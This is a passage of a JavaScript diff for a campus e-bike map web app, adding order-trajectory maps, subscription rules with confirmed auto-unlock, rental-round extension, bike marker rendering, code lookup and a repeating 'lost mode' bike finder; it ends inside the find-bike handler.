orderTrajMap.enableScrollWheelZoom(true); + } + const overlayPts = []; + try { orderTrajMap.clearOverlays(); } catch(e) {} + const toBd = (lat, lng) => offsetCoord(lat, lng); + + // 轨迹线(GCJ02 → BD09 逐点转换) + const linePts = pts.map(p => { + const c = toBd(p.lat, p.lng); + return new BMapGL.Point(c.lng, c.lat); + }); + // 采集缺失时用订单起终点兜底成两点直线 + if (linePts.length < 2 && (t.start_point || t.end_point)) { + const s = t.start_point, e = t.end_point || t.start_point; + const cs = toBd(s.lat, s.lng), ce = toBd(e.lat, e.lng); + linePts.push(new BMapGL.Point(cs.lng, cs.lat), new BMapGL.Point(ce.lng, ce.lat)); + } + if (linePts.length >= 2) { + const poly = new BMapGL.Polyline(linePts, { + strokeColor: "#0a84ff", strokeWeight: 5, strokeOpacity: 0.85, + }); + orderTrajMap.addOverlay(poly); + overlayPts.push(...linePts); + } + // 起终点标记 + const mark = (pt, color, text) => { + if (!pt) return; + const c = toBd(pt.lat, pt.lng); + const p = new BMapGL.Point(c.lng, c.lat); + const canvas = document.createElement("canvas"); + canvas.width = canvas.height = 26; + const ctx = canvas.getContext("2d"); + ctx.beginPath(); ctx.arc(13, 13, 10, 0, Math.PI * 2); + ctx.fillStyle = color; ctx.fill(); + ctx.fillStyle = "#fff"; ctx.font = "bold 12px Arial"; + ctx.textAlign = "center"; ctx.textBaseline = "middle"; + ctx.fillText(text, 13, 13); + const marker = new BMapGL.Marker(p, { + icon: new BMapGL.Icon(canvas.toDataURL(), new BMapGL.Size(26, 26), new BMapGL.Size(13, 13)) + }); + orderTrajMap.addOverlay(marker); + overlayPts.push(p); + }; + mark(t.start_point, "#34c759", "起"); + mark(t.end_point, "#ff3b30", "终"); + + if (overlayPts.length) { + try { + orderTrajMap.setViewport(overlayPts, { margins: [30, 30, 30, 30] }); + } catch (e) { + orderTrajMap.centerAndZoom(overlayPts[0], 18); + } + } else { + fetch("/api/config").then(r => r.json()).then(cfg => { + const c = offsetCoord(cfg.center_lat, cfg.center_lng); + orderTrajMap.centerAndZoom(new BMapGL.Point(c.lng, c.lat), 17); + }); + } + document.getElementById("order-traj-hint").textContent = pts.length + ? `共 ${pts.length} 个定位点` + : "该时间段没有采集到定位点(采集间隔 5-10 分钟),已用订单起终点示意"; + }; + + // 弹窗刚显示,等一帧再初始化,避免容器尺寸为 0 + setTimeout(initMap, 60); + } + async function openOrdersModal() { + closeAllModals(); + SettingsPages.open("orders-modal"); + const box = document.getElementById("orders-list"); + box.innerHTML = '
加载中...
'; + try { + const resp = await fetch("/api/user/orders?limit=50", { + headers: { "Authorization": `Bearer ${authToken}` } + }); + const data = await resp.json(); + if (data.rtn_code !== 0) { + box.innerHTML = `
${escHtml(data.message || "加载失败")}
`; + return; + } + const orders = data.data || []; + document.getElementById("orders-summary").textContent = + orders.length ? `最近 ${orders.length} 条用车记录(含共享)` : "还没有用车记录"; + box.innerHTML = orders.length + ? orders.map(orderCardHtml).join("") + : '
暂无订单
'; + } catch (err) { + box.innerHTML = '
网络错误,请重试
'; + } + } + function closeOrdersModal() { + SettingsPages.back(); + } + + // ========== 订阅提醒(我的 → 车辆订阅) ========== + let subscribeLocations = []; + const SUB_WEEKDAYS = { 0: "每天", 1: "周一", 2: "周二", 3: "周三", 4: "周四", 5: "周五", 6: "周六", 7: "周日" }; + async function openSubscribeModal() { + closeAllModals(); + SettingsPages.open("subscribe-modal"); + await loadSubscribeLocations(); + loadSubscribeRules(); + } + function closeSubscribeModal() { + SettingsPages.back(); + } + async function loadSubscribeLocations() { + const sel = document.getElementById("sub-location"); + sel.innerHTML = ''; + try { + const resp = await fetch("/api/campus/locations"); + const data = await resp.json(); + // 订阅只针对「停车点」(楼/兴趣点只用于起终点归属) + subscribeLocations = ((data.rtn_code === 0 ? data.data : []) || []) + .filter(l => l.kind === "parking"); + } catch (err) { + subscribeLocations = []; + } + sel.innerHTML = subscribeLocations.length + ? subscribeLocations.map(l => ``).join("") + : ''; + } + function subRuleRowHtml(r) { + const loc = subscribeLocations.find(l => l.id === r.location_id); + const locName = loc ? loc.name : (r.location_name || "停车点已删除"); + const hh = String(Math.floor(r.minute_of_day / 60)).padStart(2, "0"); + const mm = String(r.minute_of_day % 60).padStart(2, "0"); + const kindText = (r.kind_labels && r.kind_labels.length) + ? r.kind_labels.join("/") : "全部车型"; + const eMin = r.min_electric != null ? r.min_electric : 0; + const eMax = r.max_electric != null ? r.max_electric : 100; + const sortLabel = r.sort_by_label || r.sort_by || ""; + const tags = []; + if (r.auto_unlock) { + tags.push(`自动开锁 · ${kindText} · 电量${eMin}-${eMax}% · ${sortLabel} · 重试${r.retry_times || 3}次`); + } + return ` +
+
+
+ ${escHtml(locName)} + · ${SUB_WEEKDAYS[r.weekday] || "每周"} ${hh}:${mm} +
${r.enabled ? "已启用" : "已停用"}${r.notify_enabled ? " · 邮件提醒" : ""}
+ ${tags.length ? `
${escHtml(tags[0])}
` : ""} +
+
+ + +
+
+
`; + } + // 订阅表单「更多筛选」折叠开关(高级调优项默认收起) + function toggleSubAdvanced() { + const box = document.getElementById("sub-advanced"); + if (!box) return; + const show = box.style.display === "none"; + box.style.display = show ? "block" : "none"; + } + async function loadSubscribeRules() { + const box = document.getElementById("subscribe-list"); + box.innerHTML = '
加载中...
'; + try { + const resp = await fetch("/api/subscribe/rules", { + headers: { "Authorization": `Bearer ${authToken}` } + }); + const data = await resp.json(); + if (data.rtn_code !== 0) { + box.innerHTML = `
${escHtml(data.message || "加载失败")}
`; + return; + } + const rules = data.data || []; + box.innerHTML = rules.length + ? rules.map(subRuleRowHtml).join("") + : '
暂无规则,在下方添加
'; + } catch (err) { + box.innerHTML = '
网络错误,请重试
'; + } + } + async function addSubscribeRule() { + const locationId = Number(document.getElementById("sub-location").value || 0); + const weekday = Number(document.getElementById("sub-weekday").value); + const time = document.getElementById("sub-time").value; + const notify = document.getElementById("sub-notify").checked; + const auto = document.getElementById("sub-auto").checked; + const kinds = [...document.querySelectorAll(".sub-kind:checked")].map(el => el.value); + const minE = Number(document.getElementById("sub-min-e").value || 0); + const maxE = Number(document.getElementById("sub-max-e").value || 100); + const sortBy = document.getElementById("sub-sort").value; + const retry = Number(document.getElementById("sub-retry").value || 3); + + if (!locationId) { showToast("请先选择停车点(需要管理员先配置停车点)"); return; } + if (!/^\d{2}:\d{2}$/.test(time)) { showToast("请选择时间"); return; } + if (!kinds.length) { showToast("至少选择一个车型"); return; } + if (!(minE >= 0 && maxE <= 100 && minE <= maxE)) { showToast("电量区间需在 0-100 且下限≤上限"); return; } + if (auto) { + const ok = await appConfirm( + "开启自动开锁后,命中规则时系统会用你的账号直接开锁车辆。\n\n" + + `筛选:${kinds.map(k => ({small:"小车",big:"大车",red:"红车"}[k])).join("/")},` + + `电量 ${minE}%-${maxE}%,${document.getElementById("sub-sort").selectedOptions[0].textContent};` + + `被他人抢先时最多重试 ${retry} 次。`, + { title: "开启自动开锁", okText: "确认添加" }); + if (!ok) return; + } + try { + const resp = await fetch("/api/subscribe/rules", { + method: "POST", + headers: { "Authorization": `Bearer ${authToken}`, "Content-Type": "application/json" }, + body: JSON.stringify({ + location_id: locationId, weekday, time, + notify_enabled: notify, auto_unlock: auto, + kinds, min_electric: minE, max_electric: maxE, + sort_by: sortBy, retry_times: retry + }) + }); + const data = await resp.json(); + showToast(data.message || (data.rtn_code === 0 ? "已添加" : "添加失败")); + if (data.rtn_code === 0) loadSubscribeRules(); + } catch (err) { + showToast("网络错误,请重试"); + } + } + async function toggleSubscribeRule(ruleId, enable) { + try { + const resp = await fetch(`/api/subscribe/rules/${ruleId}`, { + method: "PUT", + headers: { "Authorization": `Bearer ${authToken}`, "Content-Type": "application/json" }, + body: JSON.stringify({ enabled: !!enable }) + }); + const data = await resp.json(); + if (data.rtn_code === 0) loadSubscribeRules(); + else showToast(data.message || "操作失败"); + } catch (err) { showToast("网络错误"); } + } + async function deleteSubscribeRule(ruleId) { + try { + const resp = await fetch(`/api/subscribe/rules/${ruleId}`, { + method: "DELETE", + headers: { "Authorization": `Bearer ${authToken}` } + }); + const data = await resp.json(); + if (data.rtn_code === 0) loadSubscribeRules(); + else showToast(data.message || "删除失败"); + } catch (err) { showToast("网络错误"); } + } + + // ========== 开锁前预览(月卡余量 + 轮次预估) ========== + function renderUnlockPreview(p) { + const box = document.getElementById("unlock-preview"); + if (!box) return; + if (!p) { box.style.display = "none"; box.innerHTML = ""; return; } + const lines = []; + lines.push(`
${p.shared ? "共享预览(用车主的卡与轮次)" : "本次用车预览"}
`); + if (p.has_card) { + const cardText = (p.cards || []).slice(0, 3).map(c => + `${escHtml(c.name)}${c.remain === null ? "(不限次)" : ` 剩 ${c.remain} 次`}`).join(","); + lines.push(`
优惠卡:${cardText}${p.card_note ? ` · ${escHtml(p.card_note)}` : ""}
`); + } else { + lines.push(`
未检测到优惠卡:本次费用将按小程序计费(还车后需支付)
`); + } + if (p.auto_return) { + lines.push(`
自动续租:计划 ${p.rounds_planned} 轮 × ${p.duration_minutes} 分钟,预计 ${escHtml(p.est_end_time)} 前还车
`); + } else { + lines.push(`
自动还车未开启:本轮 ${p.duration_minutes} 分钟,请留意到期手动还车
`); + } + box.innerHTML = lines.join(""); + box.style.display = "block"; + } + async function loadUnlockPreview(code, ownerUserId) { + const box = document.getElementById("unlock-preview"); + if (box) { box.style.display = "block"; box.innerHTML = '
预览加载中...
'; } + try { + const q = new URLSearchParams({ code: String(code) }); + if (ownerUserId) q.set("owner_user_id", ownerUserId); + const resp = await fetch(`/api/order/preview?${q.toString()}`, { + headers: { "Authorization": `Bearer ${authToken}` } + }); + const data = await resp.json(); + renderUnlockPreview(data.rtn_code === 0 ? data.data : null); + } catch (err) { + renderUnlockPreview(null); + } + } + + // ========== 手动 +1 轮 ========== + // ========== 手动 +1 轮(带确认弹窗) ========== + // 语义:只把「计划轮数」+1。当前这一轮照常到点 → 自动还车 → 优惠卡支付 + // → 立刻重新开锁同一辆车进入下一轮(绝不延长本轮时长)。 + let _addRoundTarget = null; + function showAddRoundConfirm(target) { + _addRoundTarget = target; + const remainSec = target.kind === "rental" + ? (activeRental && activeRental.remaining_seconds) || orderCountdownSeconds || 0 + : orderCountdownSeconds || 0; + const mins = Math.max(1, Math.round(remainSec / 60)); + const btn = document.getElementById("add-round-confirm-btn"); + if (btn) { btn.disabled = false; btn.textContent = "确认加 1 轮"; } + const text = document.getElementById("add-round-text"); + if (text) { + text.innerHTML = + `当前这一轮还剩约 ${mins} 分钟,不会延长。
` + + `到点后系统会自动:还车 → 用优惠卡支付 → 立刻重新开锁同一辆车,进入下一轮。`; + } + document.getElementById("add-round-modal").classList.add("show"); + } + function closeAddRoundModal() { + document.getElementById("add-round-modal").classList.remove("show"); + _addRoundTarget = null; + } + async function confirmAddRound() { + if (!_addRoundTarget || !authToken) { closeAddRoundModal(); return; } + const btn = document.getElementById("add-round-confirm-btn"); + if (btn) { btn.disabled = true; btn.textContent = "提交中..."; } + const payload = _addRoundTarget.kind === "rental" + ? { rental_id: _addRoundTarget.value } + : { order_id: _addRoundTarget.value }; + try { + const resp = await fetch("/api/order/add_round", { + method: "POST", + headers: { "Authorization": `Bearer ${authToken}`, "Content-Type": "application/json" }, + body: JSON.stringify(payload) + }); + const data = await resp.json(); + if (data.rtn_code === 0) { + showToast(data.message || "已加 1 轮"); + // 本轮剩余不变,只更新计划轮数与预计还车时间 + if (activeRental) { + activeRental.total_rounds = data.data.total_rounds; + activeRental.final_end_time = data.data.final_end_time; + localStorage.setItem(RENTAL_KEY, JSON.stringify(activeRental)); + updateRentalFinalTime(); + } + if (currentOrder && currentOrder.order_id) fetchOrderCountdown(currentOrder.order_id); + checkOrderStatus(); + } else { + showToast(data.message || "加轮失败"); + } + } catch (err) { + showToast("网络错误,请重试"); + } finally { + closeAddRoundModal(); + } + } + function addRoundForCurrent() { + if (!activeRental || !authToken) { showToast("当前没有进行中的订单"); return; } + showAddRoundConfirm({ kind: "rental", value: activeRental.rental_id }); + } + function addRoundFromBanner() { + if (!currentOrder || !currentOrder.order_id) { showToast("当前没有进行中的订单"); return; } + showAddRoundConfirm({ kind: "order", value: currentOrder.order_id }); + } + // 页面加载时检查订单状态和租车状态 + document.addEventListener("DOMContentLoaded", async () => { + if (authToken) { + await syncWechatOrder(); // 先同步微信订单状态 + checkOrderStatus(); + checkRentalStatus(); // 再恢复租车横幅 + checkStrictGuide(); // 强签名验证:缺 AccessToken 进页面立即引导 + refreshAuthExpiry(); // 登录态有效期:不足 2 天在主页面挂提醒横幅 + } + }); + + function initMapCore() { + // 预加载基础图标(在请求地图数据之前就开始) + preloadBaseIcons(); + + fetch("/api/config") + .then(r => r.json()) + .then(cfg => { + document.getElementById("school-name").textContent = cfg.school_name || "山东管理学院"; + // 初始位置:整体偏移 + 额外上移30米 + 东移200米 + const c = offsetCoord(cfg.center_lat, cfg.center_lng); + c.lat += INIT_OFFSET_EXTRA; + c.lng += INIT_OFFSET_EAST; + + // 初始化百度地图 GL + map = new BMapGL.Map("baidu_map"); + map.centerAndZoom(new BMapGL.Point(c.lng, c.lat), cfg.scale || 17); + map.enableScrollWheelZoom(true); + map.enableDragging(true); + map.enableInertialDragging(true); + // 不加 NavigationControl:它带出的左上角方向键/缩放滑杆(以及其中的“定位失败”钮) + // 业务里用不到,双指缩放与拖拽手势不依赖该控件。 + map.addControl(new BMapGL.ScaleControl()); + + updateMapStyle(); + loadMapData(currentType); + + // 启动自动持续定位(地图加载后立即开始) + startAutoLocation(); + }) + .catch(err => { + console.error("初始化失败:", err); + showToast("地图初始化失败,请刷新重试"); + }); + } + + // ========== 深色模式适配 ========== + function updateMapStyle() { + const isDark = window.matchMedia('(prefers-color-scheme: dark)').matches; + if (isDark) { + // Only filter the basemap canvas; native DOM overlays retain their colours. + const mapEl = document.getElementById("baidu_map"); + mapEl.style.filter = ""; + mapEl.style.setProperty("--basemap-filter", "invert(90%) hue-rotate(180deg) brightness(95%) contrast(90%)"); + mapEl.style.background = "#1c1c1e"; + } else { + // 浅色模式 - 移除滤镜 + const mapEl = document.getElementById("baidu_map"); + mapEl.style.filter = ""; + mapEl.style.setProperty("--basemap-filter", "none"); + mapEl.style.background = ""; + } + } + + // 监听系统颜色变化 + window.matchMedia('(prefers-color-scheme: dark)').addEventListener('change', e => { + updateMapStyle(); + }); + + // ========== 加载地图数据 ========== + let mapRequest = null; + let mapRefreshTimer = null; + let renderedMapSnapshot = null; + let mapRefreshFailed = false; + + function scheduleMapRefresh(snapshot, serverTime, retrySeconds = 5) { + clearTimeout(mapRefreshTimer); + const expires = Number(snapshot?.expires_at); + const delay = Number.isFinite(expires) && Number.isFinite(serverTime) + ? Math.max(500, (expires - serverTime) * 1000 + 150) + : Math.max(1000, retrySeconds * 1000); + mapRefreshTimer = setTimeout(() => { + if (authToken && map && document.visibilityState === "visible") { + loadMapData(currentType, false, true); + } + }, Math.min(delay, 60000)); + } + + function loadMapData(type, showLoading = true, quiet = false) { + if (!authToken) { showLoginGate(); return Promise.resolve(); } + if (!map) return Promise.resolve(); + if (mapRequest && mapRequest.type === String(type)) return mapRequest.promise; + const requestToken = authToken; + const loading = document.getElementById("loading"); + if (isFirstLoad && showLoading) loading.classList.remove("hidden"); + const pending = { type: String(type), promise: null }; + mapRequest = pending; + pending.promise = fetch(`/api/map?type=${encodeURIComponent(type)}`, { + headers: { "Authorization": `Bearer ${requestToken}` }, + cache: "no-store" + }) + .then(async response => { + const result = await response.json(); + const stamp = response.headers.get("X-Map-Server-Time"); + const serverTime = stamp !== null ? Number(stamp) : Date.now() / 1000; + return { result, serverTime }; + }) + .then(({ result, serverTime }) => { + if (authToken !== requestToken || String(type) !== String(currentType)) return; + loading.classList.add("hidden"); + if (result.rtn_code === 401) { showLoginGate(); return; } + scheduleMapRefresh(result.map_snapshot, serverTime, result.retry_after || 5); + if (result.rtn_code !== 0) { + mapRefreshFailed = true; + updateMapFreshnessBadge(); + if (!quiet) showToast(result.message || "车辆数据更新失败,正在自动重试"); + return; + } + renderMap([result], !isFirstLoad); + isFirstLoad = false; + mapRefreshFailed = false; + if (result.map_snapshot) { + renderedMapSnapshot = { ...result.map_snapshot, serverTime, receivedAt: performance.now() }; + updateMapFreshnessBadge(); + } else updateTime(); + if (map) setupClusterListener(); + }) + .catch(err => { + if (authToken !== requestToken || String(type) !== String(currentType)) return; + loading.classList.add("hidden"); + mapRefreshFailed = true; + updateMapFreshnessBadge(); + scheduleMapRefresh(null, null); + if (!quiet) showToast("加载失败: " + friendlyError(err)); + }) + .finally(() => { if (mapRequest === pending) mapRequest = null; }); + return pending.promise; + } + + // ========== 手动刷新 ========== + function refreshMap() { + const btn = document.getElementById("refresh-btn"); + btn.classList.add("spinning"); + loadMapData(currentType, false); + setTimeout(() => btn.classList.remove("spinning"), 1000); + } + + // ========== 渲染地图(坐标归一化 + 增量气泡图层)========== + + function renderMap(results, isRefresh = false) { + if (typeof BikeClusters === "undefined") { + throw new Error("地图组件未加载,请刷新页面;订单还车功能仍可使用"); + } + // 刷新时不清除边界和停车区(首次加载才绘制) + if (!isRefresh) { + // 保存自动定位标记的位置 + const autoPoint = autoLocationMarker ? autoLocationMarker.getPosition() : null; + + // 清除所有覆盖物 + map.clearOverlays(); + if (bikeBubbleLayer) { + bikeBubbleLayer.destroy(); + bikeBubbleLayer = null; + } + + // 清理旧的标记变量引用 + autoLocationMarker = null; + myLocationMarker = null; + currentMarkers = []; + + // 重新添加自动定位标记 + if (autoPoint) { + const iconUrl = createAutoLocationIcon(); + const icon = new BMapGL.Icon(iconUrl, new BMapGL.Size(28, 28), new BMapGL.Size(14, 14)); + autoLocationMarker = new BMapGL.Marker(autoPoint, { icon }); + map.addOverlay(autoLocationMarker); + } + + currentPolygons = []; + currentMarkersById = {}; + markersData = {}; + nearestBikeId = null; + } + + const nextBikes = []; + let availableCount = 0; + let usedCount = 0; + let lockedCount = 0; + let reservedCount = 0; + let lowCount = 0; + + results.forEach(result => { + if (result.rtn_code !== 0 || !result.data) return; + const data = result.data; + + // 首次加载:绘制骑行区域边界 + if (!isRefresh && data.driverArea && data.driverArea.length > 0) { + const boundaryPoints = data.driverArea.map(p => { + const c = offsetCoord(p.latitude, p.longitude); + return new BMapGL.Point(c.lng, c.lat); + }); + const boundaryPolygon = new BMapGL.Polygon(boundaryPoints, { + strokeColor: "#007AFF", + strokeWeight: 2, + strokeOpacity: 0.8, + fillColor: "#007AFF", + fillOpacity: 0.05, + }); + map.addOverlay(boundaryPolygon); + currentPolygons.push(boundaryPolygon); + } + + // 首次加载:绘制停车区 + if (!isRefresh && data.parkeArea && data.parkeArea.length > 0) { + data.parkeArea.forEach(area => { + if (!area.points || area.points.length < 3) return; + + const parkingPoints = area.points.map(p => { + const c = offsetCoord(p.latitude, p.longitude); + return new BMapGL.Point(c.lng, c.lat); + }); + const isActive = area.is_disable !== 1; + const parkingPolygon = new BMapGL.Polygon(parkingPoints, { + strokeColor: isActive ? "#34C759" : "#8E8E93", + strokeWeight: 2, + strokeOpacity: 0.8, + fillColor: isActive ? "#34C759" : "#8E8E93", + fillOpacity: 0.1, + }); + map.addOverlay(parkingPolygon); + currentPolygons.push(parkingPolygon); + }); + } + + // 收集所有车辆数据用于批量处理 + const allBikes = BikeClusters.normalizeBikes(data.bicycleStation); + + // 统计数量(所有车辆) + // 分类顺序必须与后端 app.py::_classify_bike_state 一致: + // state=10 或 电量<20 优先判低电量,其次欠压/损坏,最后 state=1 分使用中/可用。 + // 注意电量字段是 electric_quantity(上游字段名),不存在 bike.electric。 + allBikes.forEach(bike => { + const electric = Number(bike.electric_quantity ?? bike.electricQuantity ?? 100); + if (bike.state === 10 || electric < 20) { + lowCount++; + } else if (bike.state === 1 && bike.status === 1) { + usedCount++; + } else if (bike.state === 1) { + availableCount++; + } else if (bike.state === 4) { + lockedCount++; + } else if (bike.state === 2) { + reservedCount++; + } + }); + + nextBikes.push(...allBikes); + }); + + // A response is a complete snapshot: remove vanished cars and honour empty results. + markersData = {}; + nextBikes.forEach(bike => { markersData[BikeClusters.bikeId(bike)] = bike; }); + document.getElementById("count-available").textContent = availableCount; + document.getElementById("count-used").textContent = usedCount; + document.getElementById("count-locked").textContent = lockedCount; + document.getElementById("count-reserved").textContent = reservedCount; + document.getElementById("count-low").textContent = lowCount; + rebuildMarkersForZoom(nextBikes); + } + + // Native overlay coordinates keep markers aligned during reverse zooming. + // Recomposition cross-fades at the real coordinates instead of moving centroids. + let bikeBubbleLayer = null; + function setupClusterListener() { + if (!map || bikeBubbleLayer || typeof BikeClusters === "undefined") return; + bikeBubbleLayer = BikeClusters.createLayer({ + map, + enabled: bikeClusteringEnabled, + getPoint: bike => offsetCoord(bike.latitude, bike.longitude), + getState: getBikeState, + getIcon: getBikeIcon, + onBikeClick: id => { clearHighlight(); showBikeDetail(id); }, + onMarkersChanged: markers => { + currentMarkers = markers; + currentMarkersById = {}; + markers.forEach(marker => { currentMarkersById[marker.__animId] = marker; }); + } + }); + bikeBubbleLayer.setSelected(highlightedBikeId); + } + + function rebuildMarkersForZoom(bikes) { + setupClusterListener(); + if (bikeBubbleLayer) bikeBubbleLayer.setData(bikes ?? Object.values(markersData)); + } + + // ========== 车辆详情 ========== + function showBikeDetail(id) { + let bike = markersData[id]; + // 多格式尝试查找 + if (!bike) bike = markersData[String(id)]; + if (!bike) bike = markersData[Number(id)]; + // 按 code 遍历查找 + if (!bike) { + for (const key in markersData) { + if (markersData[key] && String(markersData[key].code) === String(id)) { + bike = markersData[key]; + break; + } + } + } + if (!bike) { + console.error("[showBikeDetail] 找不到车辆数据, id=", id, "markersData keys样本=", Object.keys(markersData).slice(0, 5)); + return; + } + selectedBike = bike; + + // 设置高亮 + setHighlight(id); + + document.getElementById("card-code").textContent = `#${bike.code || id}`; + + // 车辆类型角标(红车 / 大车 / 小车) + const kind = getBikeKind(bike); + const kindEl = document.getElementById("card-kind"); + if (kindEl) { + kindEl.textContent = kind.label; + kindEl.classList.remove("kind-red", "kind-big", "kind-small"); + kindEl.classList.add("kind-" + kind.key); + } + + const electric = parseFloat(bike.electric_quantity || bike.electricQuantity || 0); + document.getElementById("card-electric").textContent = Math.round(electric); + + let ringColor = "#34c759"; + const bikeState = getBikeState(bike); + if (bikeState === 'inuse') { + ringColor = "#ff2d55"; + } else if (bikeState === 'locked') { + ringColor = "#ff9f0a"; + } else if (bikeState === 'reserved') { + ringColor = "#5856D6"; + } else if (bikeState === 'lowbattery' || electric < 20) { + ringColor = "#8e8e93"; + } + try { + updateRingProgress(electric, ringColor); + } catch (e) { + console.error("[showBikeDetail] updateRingProgress 错误:", e); + } + + // 状态文本:结合 state 和 status 判断 + let stateText = "--"; + if (bike.state === 1 && bike.status === 1) { + stateText = "使用中"; + } else if (bike.state === 1) { + stateText = "空闲"; + } else if (bike.state === 10) { + stateText = "低电量"; + } else if (bike.state === 4) { + stateText = "欠压车辆"; + } else if (bike.state === 2) { + stateText = "损坏车辆"; + } else { + stateText = "未知"; + } + document.getElementById("card-state").textContent = stateText; + document.getElementById("card-state").className = "bike-status-value" + + (stateText === "使用中" ? " warning" : stateText === "空闲" ? " highlight" : ""); + + document.getElementById("bike-card").classList.add("show"); + const overlay = document.getElementById("card-overlay"); + if (overlay) overlay.classList.add("show"); + + if (bike.latitude && bike.longitude) { + const c = offsetCoord(bike.latitude, bike.longitude); + const bikePoint = new BMapGL.Point(c.lng, c.lat); + map.panTo(bikePoint); + setTimeout(() => { + map.setZoom(map.getZoom() + 1); + }, 300); + } + } + + function closeCard() { + const card = document.getElementById("bike-card"); + const overlay = document.getElementById("card-overlay"); + card.classList.remove("show"); + card.style.transform = ""; + if (overlay) overlay.classList.remove("show"); + selectedBike = null; + // 关闭卡片时清除高亮,让车辆图标还原为普通大小(不再保持放大带车牌) + clearHighlight(); + // 关闭卡片时同步停止丢失模式 + if (typeof disableLostMode === "function") disableLostMode(); + } + + // ========== 下滑关闭手势 ========== + (function initSwipeClose() { + const card = document.getElementById("bike-card"); + let startY = 0, startTime = 0, dragging = false; + + card.addEventListener("touchstart", (e) => { + // 只响应从 card-handle 或卡片顶部区域发起的手势 + startY = e.touches[0].clientY; + startTime = Date.now(); + dragging = true; + card.style.transition = "none"; + }, { passive: true }); + + card.addEventListener("touchmove", (e) => { + if (!dragging) return; + const dy = e.touches[0].clientY - startY; + if (dy > 0) { + card.style.transform = `translateY(${dy}px)`; + } + }, { passive: true }); + + card.addEventListener("touchend", (e) => { + if (!dragging) return; + dragging = false; + card.style.transition = ""; + const dy = e.changedTouches[0].clientY - startY; + const dt = Date.now() - startTime; + // 快速下划(速度 > 0.5px/ms)或位移超过120px则关闭 + if (dy > 120 || (dy > 40 && dt < 250)) { + closeCard(); + } else { + card.style.transform = ""; + } + }, { passive: true }); + })(); + + // ========== 扫码查询 ========== + function scanCode() { + const code = document.getElementById("scan-input").value.trim(); + if (!code) { showToast("请输入车牌号"); return; } + + showToast("正在查询..."); + fetch("/api/bicycle", { + method: "POST", + headers: { "Content-Type": "application/json", "Authorization": `Bearer ${authToken}` }, + body: JSON.stringify({ code }) + }) + .then(r => r.json()) + .then(data => { + const codeNum = parseInt(code); + if (data.rtn_code === 401) { showLoginGate(); return; } + + // 成功查询:正常处理 + if (data.rtn_code === 0 && data.data) { + const bike = data.data; + bike.code = code; + + // 优先用 markersData 的实时位置,其次用 API 返回的位置 + const mapBike = markersData[codeNum] || markersData[code]; + let hasLocation = false; + + if (mapBike && mapBike.latitude && mapBike.longitude) { + bike.latitude = mapBike.latitude; + bike.longitude = mapBike.longitude; + bike.state = mapBike.state; + bike.electric_quantity = mapBike.electric_quantity; + hasLocation = true; + } else if (bike.latitude && bike.longitude) { + hasLocation = true; + } + + if (hasLocation) { + const c = offsetCoord(bike.latitude, bike.longitude); + map.panTo(new BMapGL.Point(c.lng, c.lat)); + setTimeout(() => map.setZoom(map.getZoom() + 1), 300); + } else { + showToast("该车暂无实时位置,请在地图上查看"); + } + + // 如果车辆在使用中,额外提示 + if (bike.state === 1 && bike.status === 1) { + showToast("该车正在使用中"); + } + + markersData[codeNum] = bike; + showBikeDetail(codeNum); + } + // success=false 时,也尝试用 markersData 显示详情和定位 + else if (data.success === false) { + const mapBike = markersData[codeNum] || markersData[code]; + if (mapBike && mapBike.latitude && mapBike.longitude) { + // 跳转并放大 + const c = offsetCoord(mapBike.latitude, mapBike.longitude); + map.panTo(new BMapGL.Point(c.lng, c.lat)); + setTimeout(() => map.setZoom(map.getZoom() + 1), 300); + // 弹详情窗口 + mapBike.code = code; + markersData[codeNum] = mapBike; + showBikeDetail(codeNum); + // toast 提示 + showToast(data.message || "该车辆已被使用"); + } else { + showToast(data.message || "查询失败"); + } + } + else { + showToast(data.message || "查询失败"); + } + }) + .catch(err => showToast("请求失败: " + friendlyError(err))); + } + + // ========== 寻车功能 ========== + + // ----- 丢失模式状态 ----- + let _lostModeActive = false; // 是否处于丢失模式 + let _lostModeTimer = null; // setInterval 句柄 + let _findClickCount = 0; // 连续点击次数计数 + let _findClickTimer = null; // 连续点击重置计时器 + let _findLongPressTimer = null; // 长按计时器 + const LOST_TRIGGER_CLICKS = 3; // 连续点击 N 次触发 + const LOST_TRIGGER_LONG = 700; // 长按毫秒数触发 + const LOST_INTERVAL = 3000; // 丢失模式下每次寻车间隔(ms) + + /** 发送单次寻车请求(内部使用,不操作按钮状态) */ + function _doFindBikeRequest(code) { + return fetch("/api/find_bike", { + method: "POST", + headers: { + "Content-Type": "application/json", + "Authorization": `Bearer ${authToken}` + }, + body: JSON.stringify({ code: code, school_id: 10 }) + }).then(r => r.json()).catch(() => null); + } + + /** 打开丢失模式确认弹窗 */ + function showLostModal() { + document.getElementById("lost-modal").classList.add("show"); + } + + /** 关闭丢失模式确认弹窗(不启用) */ + function closeLostModal() { + document.getElementById("lost-modal").classList.remove("show"); + } + + /** 启用丢失模式(弹窗确认后调用) */ + function enableLostMode() { + closeLostModal(); + if (!selectedBike) return; + _lostModeActive = true; + + const btn = document.getElementById("bike-find-btn-header"); + const span = btn.querySelector("span"); + btn.classList.add("lost-mode"); + btn.title = "丢失模式(点击退出)"; + if (span) span.textContent = "丢失模式"; + + showToast("丢失模式已开启,持续帮你寻车"); + + // 立即发一次 + _doFindBikeRequest(selectedBike.code); + + // 持续循环 + _lostModeTimer = setInterval(() => { + if (!_lostModeActive || !selectedBike) { + disableLostMode(); + return; + } + _doFindBikeRequest(selectedBike.code); + }, LOST_INTERVAL); + + // 页面隐藏或关闭时自动停止 + window.addEventListener("beforeunload", _onPageUnload); + document.addEventListener("visibilitychange", _onVisibilityChange); + } + + /** 停止丢失模式 */ + function disableLostMode() { + if (!_lostModeActive) return; + _lostModeActive = false; + clearInterval(_lostModeTimer); + _lostModeTimer = null; + _findClickCount = 0; + + const btn = document.getElementById("bike-find-btn-header"); + const span = btn.querySelector("span"); + if (btn) { + btn.classList.remove("lost-mode"); + btn.disabled = false; + btn.title = "寻车"; + } + if (span) span.textContent = "寻车"; + + window.removeEventListener("beforeunload", _onPageUnload); + document.removeEventListener("visibilitychange", _onVisibilityChange); + + showToast("丢失模式已关闭"); + } + + function _onPageUnload() { disableLostMode(); } + function _onVisibilityChange() { + if (document.visibilityState === "hidden") disableLostMode(); + } + + /** + * 主寻车入口(绑定到按钮 onclick) + * - 丢失模式激活时:点击直接关闭丢失模式 + * - 连续点击 LOST_TRIGGER_CLICKS 次:触发丢失模式弹窗 + * - 否则:正常寻车 + */ + function findBike() { + if (!selectedBike) return; + + // 如果已是丢失模式,点击退出 + if (_lostModeActive) { + disableLostMode(); + return; + } + + // 连续点击计数 + _findClickCount++; + clearTimeout(_findClickTimer); + _findClickTimer = setTimeout(() => { _findClickCount = 0; }, 1200); 